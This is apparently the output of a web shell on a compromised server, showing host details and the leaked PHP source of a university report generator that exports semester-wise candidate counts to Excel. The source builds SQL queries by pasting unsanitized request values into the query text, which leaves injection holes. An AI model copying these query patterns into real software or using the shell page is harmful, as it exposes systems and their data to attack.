0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.147.27.152


Current Path : /var/www/html/univadmin/Reports/
Upload File :
Current File : /var/www/html/univadmin/Reports/centerwisesemisterwise.php

<?php

$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('GMT+5:30');
ini_set('max_execution_time', 300);
ini_set('memory_limit', '2G');
// PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT);
if (PHP_SAPI == 'cli')
    die('This example should only be run from a Web Browser');

/** Include PHPExcel */
$pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php';
require_once($pdf_writer_class);






function getheaders($objPHPExcel, $fileName)
{
    //To Fit To Page while printing
    $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false);

    // Redirect output to a client’s web browser (Excel5)
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment;filename="' . $fileName . '.xls"');
    header('Cache-Control: max-age=0');
    // If you're serving to IE 9, then the following may be needed
    header('Cache-Control: max-age=1');

    // If you're serving to IE over SSL, then the following may be needed
    header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified
    header('Cache-Control: cache, must-revalidate'); // HTTP/1.1
    header('Pragma: public'); // HTTP/1.0
    ob_clean();
    $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
    $objWriter->save('php://output');
    
}


function centerwisesemisterwise($aobj_context)
{
    $univcode = $aobj_context->mobj_data["univcode"];  
    $fdeggrp = $aobj_context->mobj_data["deggrp"];  
  $fexamtype = $aobj_context->mobj_data["fexamtype"];
  $fyear = $aobj_context->mobj_data["fyear"];
  $rformat = $aobj_context->mobj_data["rformat"];


  $_degree = $aobj_context->mobj_data['degree'];
    $deg = json_decode($_degree,true);

    foreach($deg as $key => $val){
      $degree .= "'".$val."',";
  }
  $degarr = substr_replace($degree ,"",-1);

    if(strpos($degarr,"All") == ""){
      $cnddeg = "and cs.fdegree in ($degarr)";
  }else{
    $cnddeg = "";
  }


  $_college = $aobj_context->mobj_data['college'];
    $col = json_decode($_college,true);

    foreach($col as $key => $val){
      $college .= "'".$val."',";
  }
  $collarr = substr_replace($college ,"",-1);
 

  


  

    ini_set('MAX_EXECUTION_TIME', '300');
    if($rformat == 'centerwisesemisterwise'){
      if(strpos($collarr,"All") == ""){
        $cndcoll = "and cs.fcntrcode in ($collarr)";
    }else{
        $cndcoll = "";
    }
    $query = "SELECT cs.fcntrcode,c.fcollname AS college_name,FTOWN,
    cs.fdegree,
    SUM(IF(INSTR(cs.fhtenable,'A') >0 and FEXAMFEEA > 0,1,0)) AS Sem_A,
    SUM(IF(INSTR(cs.fhtenable,'B') >0 and FEXAMFEEB > 0,1,0)) AS Sem_B,
    SUM(IF(INSTR(cs.fhtenable,'C') >0 and  FEXAMFEEC > 0,1,0)) AS Sem_C,
    SUM(IF(INSTR(cs.fhtenable,'D') >0 and  FEXAMFEED > 0,1,0)) AS Sem_D,
    SUM(IF(INSTR(cs.fhtenable,'E') >0 and  FEXAMFEEE > 0,1,0)) AS Sem_E,
    SUM(IF(INSTR(cs.fhtenable,'F') >0 and  FEXAMFEEF > 0,1,0)) AS Sem_F,
    SUM(IF(INSTR(cs.fhtenable,'G') >0 and  FEXAMFEEG > 0,1,0)) AS Sem_G,
    SUM(IF(INSTR(cs.fhtenable,'H') >0 and  FEXAMFEEH > 0,1,0)) AS Sem_H,
    SUM(IF(INSTR(cs.fhtenable,'I') >0 and  FEXAMFEEI > 0,1,0)) AS Sem_I,
    SUM(IF(INSTR(cs.fhtenable,'J') >0 and  FEXAMFEEJ > 0,1,0)) AS Sem_J,
    fyear,fexamtype
    FROM candsum cs INNER JOIN college c ON cs.fcntrcode = c.fcollcode
    WHERE cs.fyear = '{$fyear}' and cs.fexamtype = '{$fexamtype}' 
    $cnddeg $cndcoll
    and cs.fdegree in(SELECT fdegree FROM degree WHERE fdeggrp = '{$fdeggrp}')
    GROUP BY cs.fcntrcode
    having (Sem_A+Sem_B+Sem_C+Sem_D+Sem_E+Sem_F+Sem_G+Sem_H+Sem_I+Sem_J) >0
    ORDER BY cs.fcntrcode";
    }else{
      if(strpos($collarr,"All") == ""){
        $cndcoll = "and cs.fcollcode in ($collarr)";
      }else{
        $cndcoll = "";
      }
      $query = "SELECT cs.fcollcode,c.fcollname AS college_name,FTOWN,
      SUM(IF(INSTR(cs.fhtenable,'A') >0 and FEXAMFEEA > 0,1,0)) AS Sem_A,
      SUM(IF(INSTR(cs.fhtenable,'B') >0 and FEXAMFEEB > 0,1,0)) AS Sem_B,
      SUM(IF(INSTR(cs.fhtenable,'C') >0 and  FEXAMFEEC > 0,1,0)) AS Sem_C,
      SUM(IF(INSTR(cs.fhtenable,'D') >0 and  FEXAMFEED > 0,1,0)) AS Sem_D,
      SUM(IF(INSTR(cs.fhtenable,'E') >0 and  FEXAMFEEE > 0,1,0)) AS Sem_E,
      SUM(IF(INSTR(cs.fhtenable,'F') >0 and  FEXAMFEEF > 0,1,0)) AS Sem_F,
      SUM(IF(INSTR(cs.fhtenable,'G') >0 and  FEXAMFEEG > 0,1,0)) AS Sem_G,
      SUM(IF(INSTR(cs.fhtenable,'H') >0 and  FEXAMFEEH > 0,1,0)) AS Sem_H,
      SUM(IF(INSTR(cs.fhtenable,'I') >0 and  FEXAMFEEI > 0,1,0)) AS Sem_I,
      SUM(IF(INSTR(cs.fhtenable,'J') >0 and  FEXAMFEEJ > 0,1,0)) AS Sem_J,
      fyear,fexamtype
      FROM candsum cs INNER JOIN college c ON cs.fcollcode = c.fcollcode
      WHERE cs.fyear = '{$fyear}' and cs.fexamtype = '{$fexamtype}' 
    $cnddeg $cndcoll
    and cs.fdegree in(SELECT fdegree FROM degree WHERE fdeggrp = '{$fdeggrp}')
      GROUP BY cs.fcollcode
      having (Sem_A+Sem_B+Sem_C+Sem_D+Sem_E+Sem_F+Sem_G+Sem_H+Sem_I+Sem_J) >0
      ORDER BY cs.fcollcode";
    }

   

    $result = $aobj_context->pobj_db->GetAll($query);  


    $objPHPExcel = new PHPExcel();
    if($rformat == 'centerwisesemisterwise'){
    $fileName = 'CENTER WISE SEMESTER WISE(EXCEL)';
  }else{
    $fileName = 'COLLEGE WISE SEMESTER WISE(EXCEL)';
  }
    $objPHPExcel->getProperties()->setCreator("Uniclare")
    ->setLastModifiedBy("Me")->setTitle("My Excel Sheet")
    ->setSubject("My Excel Sheet")->setDescription("Excel Sheet")
    ->setKeywords("Excel Sheet")->setCategory("Me");

    // Set active sheet index to the first sheet, so Excel opens this as the first sheet
    $objPHPExcel->setActiveSheetIndex(0);
    
    // Add column headers and make them bold
    $styleArray = array(
        'borders' => array(
            'allborders' => array(
                'style' => PHPExcel_Style_Border::BORDER_THIN,
                'color' => array('argb' => '000000'),
            ),
        ),
    );

    $count = "";

    $alpha = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M'];
  $j=4;
  $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true);
  $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12);
  $objPHPExcel->getActiveSheet()->getColumnDimension('A1')->setwidth(30);
  $objPHPExcel->getActiveSheet()->getColumnDimension('D1')->setwidth(15);
  $objPHPExcel->getActiveSheet()->freezePane('A2');
  $objPHPExcel->getActiveSheet()->setCellValue('A1', 'Sl. No.');
  if($rformat == "centerwisesemisterwise"){
    $objPHPExcel->getActiveSheet()->setCellValue('B1', 'Center Code');
    $objPHPExcel->getActiveSheet()->setCellValue('C1', 'Center Name');
}else{
    $objPHPExcel->getActiveSheet()->setCellValue('B1', 'College Code');
    $objPHPExcel->getActiveSheet()->setCellValue('C1', 'College Name');
}
  
$objPHPExcel->getActiveSheet()->setCellValue('D1', 'Town');
$objPHPExcel->getActiveSheet()->setCellValue('E1', 'Year')
  ->setCellValue('F1', 'Exam Type')
  ->setCellValue('G1', 'Sem_A')
  ->setCellValue('H1', 'Sem_B')
  ->setCellValue('I1', 'Sem_C')
  ->setCellValue('J1', 'Sem_D')
  ->setCellValue('K1', 'Sem_E')
  ->setCellValue('L1', 'Sem_F')
  ->setCellValue('M1', 'Sem_G')
  ->setCellValue('N1', 'Sem_H')
  ->setCellValue('O1', 'Sem_I')
  ->setCellValue('P1', 'Sem_J')
  ->setCellValue('Q1', 'Total');
 



      
  $objPHPExcel->getActiveSheet()->getStyle('A1:Q1')->applyFromArray($styleArray);
   $objPHPExcel->getActiveSheet()->getColumnDimension('1')->setAutoSize(true);
  $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(40);
//   $objPHPExcel->getActiveSheet()->getStyle('A1:A1')->getAlignment()->setWrapText(true);
  $objPHPExcel->getActiveSheet()->getStyle('A1:Q1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
  $objPHPExcel->getActiveSheet()->getStyle('A1:Q1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
  
  $count=rtrim($count,", ");

  foreach ($result as $key => $value) {     
    $slNo = $key + 2;
    $j=4;

    if($rformat == 'centerwisesemisterwise'){
      $x = $value['fcntrcode'];
  }else{
   $x = $value['fcollcode'];
  }

      $objPHPExcel->getActiveSheet()->setCellValue('A' . $slNo, $slNo - 1)->getColumnDimension('A')->setwidth(8);
      $objPHPExcel->getActiveSheet()->setCellValue('B' . $slNo, $x)->getColumnDimension('B')->setwidth(20);
      $objPHPExcel->getActiveSheet()->setCellValue('C' . $slNo, $value['college_name'])->getColumnDimension('C')->setwidth(55);
      $objPHPExcel->getActiveSheet()->setCellValue('D' . $slNo, $value['FTOWN'])->getColumnDimension('D')->setwidth(20);    
      $objPHPExcel->getActiveSheet()->setCellValue('E' . $slNo, $value['fyear'])->getColumnDimension('L')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('F' . $slNo, $value['fexamtype'])->getColumnDimension('M')->setwidth(13);

      $objPHPExcel->getActiveSheet()->setCellValue('G' . $slNo, $value['Sem_A'])->getColumnDimension('F')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('H' . $slNo, $value['Sem_B'])->getColumnDimension('G')->setwidth(10);     
      $objPHPExcel->getActiveSheet()->setCellValue('I' . $slNo, $value['Sem_C'])->getColumnDimension('H')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('J' . $slNo, $value['Sem_D'])->getColumnDimension('I')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('K' . $slNo, $value['Sem_E'])->getColumnDimension('J')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('L' . $slNo, $value['Sem_F'])->getColumnDimension('K')->setwidth(10);    
      $objPHPExcel->getActiveSheet()->setCellValue('M' . $slNo, $value['Sem_G'])->getColumnDimension('L')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('N' . $slNo, $value['Sem_H'])->getColumnDimension('L')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('O' . $slNo, $value['Sem_I'])->getColumnDimension('L')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('P' . $slNo, $value['Sem_J'])->getColumnDimension('L')->setwidth(10);
      $objPHPExcel->getActiveSheet()->setCellValue('Q' . $slNo, "=sum(G".$slNo.":P".$slNo.")")->getColumnDimension('L')->setwidth(10);
      

      $objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':P'. $slNo)->applyFromArray($styleArray);
      $objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':A' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':A' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('B' . $slNo . ':B' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('B' . $slNo . ':B' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('L' . $slNo . ':L' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('L' . $slNo . ':L' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('E' . $slNo . ':E' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('E' . $slNo . ':E' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('F' . $slNo . ':F' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('F' . $slNo . ':F' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('G' . $slNo . ':G' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('G' . $slNo . ':G' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('H' . $slNo . ':H' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('H' . $slNo . ':H' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('I' . $slNo . ':I' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('I' . $slNo . ':I' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('J' . $slNo . ':J' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('J' . $slNo . ':J' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('K' . $slNo . ':K' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('K' . $slNo . ':K' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('M' . $slNo . ':M' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('M' . $slNo . ':M' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

      $objPHPExcel->getActiveSheet()->getStyle('N' . $slNo . ':N' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('N' . $slNo . ':N' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

      $objPHPExcel->getActiveSheet()->getStyle('O' . $slNo . ':O' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('O' . $slNo . ':O' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

      $objPHPExcel->getActiveSheet()->getStyle('P' . $slNo . ':P' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('P' . $slNo . ':P' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

      $objPHPExcel->getActiveSheet()->getStyle('Q' . $slNo . ':Q' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
      $objPHPExcel->getActiveSheet()->getStyle('Q' . $slNo . ':Q' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

      
        //  $objPHPExcel->getActiveSheet()->getStyle('F' . $slNo . ':M1' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        //  $objPHPExcel->getActiveSheet()->getStyle('F' . $slNo . ':M1' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

    //    $objPHPExcel->getActiveSheet()->getStyle('A')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    //    $objPHPExcel->getActiveSheet()->getStyle('A')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('B')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('B')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('F')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('F')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('G')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('G')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('H')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('H')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('I')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('I')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('J')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('J')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('K')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('K')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('L')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('L')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('M')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('M')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

       $objPHPExcel->getActiveSheet()->getStyle('N')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('N')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

       $objPHPExcel->getActiveSheet()->getStyle('O')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('O')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

       $objPHPExcel->getActiveSheet()->getStyle('P')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('P')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
       
       $objPHPExcel->getActiveSheet()->getStyle('Q')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
       $objPHPExcel->getActiveSheet()->getStyle('Q')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

    }


    getheaders($objPHPExcel, $fileName);
}

?>